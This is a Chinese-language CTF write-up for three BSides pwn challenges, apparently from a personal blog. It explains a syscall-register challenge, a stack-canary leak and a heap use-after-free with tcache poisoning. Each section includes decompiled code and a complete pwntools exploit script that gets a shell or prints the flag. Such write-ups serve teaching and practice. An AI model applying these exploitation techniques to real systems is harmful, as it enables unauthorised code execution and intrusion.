本文最后更新于:星期日, 一月 13日 2019, 11:42 中午

easypeasy

防护机制:

☁  easy  checksec easypeasy  
[*] '/home/zs0zrc/pwn/ BSides/easy/easypeasy'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

简单的运行了下,好像是让我们输入寄存器的值,一直循环输入

1540609852193

简单逆向下,程序主要逻辑在child函数中。

void __noreturn child()
{
  __int64 buf[7]; // [rsp+0h] [rbp-40h]
  unsigned __int64 v1; // [rsp+38h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  signal(14, (__sighandler_t)handler);
  while ( 1 )
  {
    do
    {
      get_obj(buf);
      obj = buf[0];
      qword_6010A8 = buf[1];
      qword_6010B0 = buf[2];
      qword_6010B8 = buf[3];
      qword_6010C0 = buf[4];
      qword_6010C8 = buf[5];
      qword_6010D0 = buf[6];
    }
    while ( (unsigned int)validate_syscall_obj(buf[0]) );
    raise(14);
  }
}

__int64 __fastcall get_obj(_QWORD *buf)
{
  printf("RAX: ");
  *buf = get_ll();
  printf("RDI: ");
  buf[1] = get_ll();
  printf("RSI: ");
  buf[2] = get_ll();
  printf("RDX: ");
  buf[3] = get_ll();
  printf("RCX: ");
  buf[4] = get_ll();
  printf("R8: ");
  buf[5] = get_ll();
  printf("R9: ");
  buf[6] = get_ll();
  return 0LL;
}

singal()函数声明
void (signal(int sig, void (func)(int)))(int) ,第一个参数为要处理的信号,第二个参数为处理方法

raise()函数声明
int raise(int sig) 这里参数为要发送的信号码,这个函数会促使生成信号sig

这里用signal函数给信号14也就是SIGALRM信号 设置了一个处理方法,然后循环读取寄存器的值,将这些值存入bss段上的变量中,每读取完一次后调用一次validate_syscall_obj函数,如果validate_syscall_obj函数返回值为0,就调用raise(14)函数,生成信号SIGALRM。然后就会调用handler函数,否则就进行下一次循环。如果想调用handler函数,那么rax的值就必须为1,2,3,60这四个数中的一个,或者是等30秒,程序调用alarm函数。

贴下linux支持的信号表:

Linux支持的信号列表如下。很多信号是与机器的体系结构相关的

信号  信号值 默认处理动作 发出信号的原因
SIGHUP 1 A 终端挂起或者控制进程终止
SIGINT 2 A 键盘中断(如break键被按下)
SIGQUIT 3 C 键盘的退出键被按下
SIGILL 4 C 非法指令
SIGABRT 6 C 由abort(3)发出的退出指令
SIGFPE 8 C 浮点异常
SIGKILL 9 AEF Kill信号
SIGSEGV 11 C 无效的内存引用
SIGPIPE 13 A 管道破裂: 写一个没有读端口的管道
SIGALRM 14 A 由alarm(2)发出的信号
SIGTERM 15 A 终止信号
SIGUSR1 30,10,16 A 用户自定义信号1
SIGUSR2 31,12,17 A 用户自定义信号2
SIGCHLD 20,17,18 B 子进程结束信号
SIGCONT 19,18,25 进程继续(曾被停止的进程)
SIGSTOP 17,19,23 DEF 终止进程
SIGTSTP 18,20,24 D 控制终端(tty)上按下停止键
SIGTTIN 21,21,26 D 后台进程企图从控制终端读
SIGTTOU 22,22,27 D 后台进程企图从控制终端写

handler函数

void handler()
{
  exec_syscall_obj(&obj);
}

__int64 __fastcall exec_syscall_obj(_QWORD *a1)
{
  _QWORD *v1; // rbx
  __int64 result; // rax
  __int64 v3; // rdi
  __int64 v4; // rsi
  __int64 v5; // rdx
  __int64 v6; // rcx
  __int64 v7; // r8
  __int64 v8; // r9

  v1 = a1;
  result = *a1;
  v3 = a1[1];
  v4 = v1[2];
  v5 = v1[3];
  v6 = v1[4];
  v7 = v1[5];
  v8 = v1[6];
  __asm { syscall; LINUX - }
  return result;
}//exec_syscall_obj就是根据输入的寄存器的值执行了一次syscall

做法一:

构造execve(“/bin/sh”,0,0)的syscall来getshell

做法二:

构造open(),read(),write()这三个函数的系统调用,打开flag文件,读取flag,再打印出来 ps:这是我看大佬的writeup看到的 大佬博客地址 大佬都是手撕汇编的存在。tkbl

open的系统调用号为 2,write的调用号为1,read的调用号为0

寄存器对应参数

open: rax-> 0x2 ; rdi->pathname ; rsi​->flags

read: rax->0x0 ; rdi->fd ; rsi->buf ; rdx->count

write: rax->0x1 ; rdi->fd ; rsi->buf ; rdx->count

先通过调用read的syscall将 pathname写入bss段,然后用open打开文件,再通过read将文件内容读到bss段,最后通过write打印出来

我用的是做法一:

execve()的syscall

rax : 0x3b rdi : address of “/bin/sh\x00” rsi : 0 rdx : 0

exp:

#!/usr/bin/env python
from pwn import *
local = 1
if local:
    p = process('./easypeasy')
    elf = ELF('./easypeasy')
else:
    p = remote("35.200.228.122",1337)
    elf = ELF('./easypeasy')

context.arch = elf.arch
context.log_level='debug'

def register(rax,rdi,rsi,rdx,rcx,r8,r9):
    p.sendlineafter('RAX: ', rax)
    p.sendlineafter('RDI: ', rdi)
    p.sendlineafter('RSI: ', rsi)
    p.sendlineafter('RDX: ', rdx)
    p.sendlineafter('RCX: ', rcx)
    p.sendlineafter('R8: ', r8)
    p.sendlineafter('R9: ', r9)

register(str(0x3b),str(0x6010A0 + 0x30),str(0x0),str(0x0),str(0),str(0),str(u64('/bin/sh\x00')))
sleep(30) #这里sleep(30)的原因是为了等程序执行 alarm(0x1e),产生SIGALRM信号
p.interactive()

canary

smash the stack,利用__stack_chk_failed函数,打印出flag

exp:

from pwn import*

#p = process('./canary')
p = remote("35.200.232.80","1337")
context.log_level="debug"
flag = 0x06010A0

p.recv()
payload = 'a'*0x178 + p64(flag)
p.sendline(payload)
p.recv()
p.interactive()

data_bank

防护机制:

☁  data_bank  checksec data_bank 
[*] '/home/zs0zrc/pwn/ BSides/data_bank/data_bank'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

这道题是一道堆的UAF的利用,但是libc版本是2.26,有tcache机制…….做的时候没有发现,虽然他给了libc文件,但是没有去检查libc的版本,下次一定记得去检查libc版本。而且不知道为什么我Ubuntu16.04不能运行他给的libc文件,所以我用的环境是Ubuntu18.04

程序一共有5个功能

  1. add 新建一个chunk
  2. edit 编辑chunk
  3. delete free掉一个chunk,但是没有将指针置为空
  4. view 将chunk的内容打印出来
  5. exit 退出

漏洞点

int delete()
{
  int result; // eax
  int v1; // eax
  signed int v2; // [rsp+Ch] [rbp-4h]

  puts("Enter the index:");
  result = get_int();
  v2 = result;
  while ( v2 >= 0 && v2 <= 6 )
  {
    if ( !table[v2] )
      return puts("The index is empty");
    v1 = count--;
    if ( v1 )
    {
      free(table[v2]);//存在UAF漏洞
      return puts("done");
    }
    result = puts("Sorry no more removal\n");
  }
  return result;
}

利用思路:

先利用view功能泄露出libc地址,然后通过UAF 加上tcache_posion分配到包含_malloc_hook的chunk,修改 __malloc_hook为one_gadget,最后再malloc一个chunk触发 malloc_hook来getshell。这里要注意的是因为有tcache机制,所以要先将tcache填满,才可以泄露出地址。

exp:

from pwn import*
context.log_level = "debug"

p = process("./data_bank", env = {'LD_PRELOAD': './libc.so.6'})
elf = ELF('./data_bank')
libc = ELF('./libc.so.6')

def add(idx,size,data):
    p.sendlineafter(">> ","1")
    p.sendlineafter("Enter the index:\n",str(idx))
    p.sendlineafter("Enter the size:\n",str(size))
    p.sendlineafter("Enter data:\n",data)

def delete(idx):
    p.sendlineafter(">> ","3")
    p.sendlineafter("Enter the index:\n",str(idx))


def edit(idx,data):
    p.sendlineafter(">> ","2")
    p.sendlineafter("Enter the index:\n",str(idx))
    p.sendlineafter("Please update the data:\n",data)

def show(idx):
    p.sendlineafter(">> ","4")
    p.sendlineafter("Enter the index:\n",str(idx))



add(0,0x80,'a'*0x80)
add(1,0x80,'b'*0x80)

for i in range(7): # 填满tcache
    delete(1)

delete(0)
show(0)
p.recvuntil(":")
leak = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak - 0x3ebca0
libc.address = libc_base
__malloc_hook_add = libc.symbols['__malloc_hook']
one_gadget = libc_base + 0x10a38c
log.info("libc_address {}".format(hex(libc_base)))

add(2,0x60,'a'*0x60)
delete(2)
edit(2,p64(__malloc_hook_add-0x13))
add(3,0x60,"b"*0x60)
add(4,0x60,'a'*0x13 + p64(one_gadget))

log.info("get shell")
p.sendlineafter('>> ', '1')
p.sendlineafter('Enter the index:\n', '5')
p.sendlineafter('Enter the size:\n', '0')

p.interactive()

CTF's writeup      writeup pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!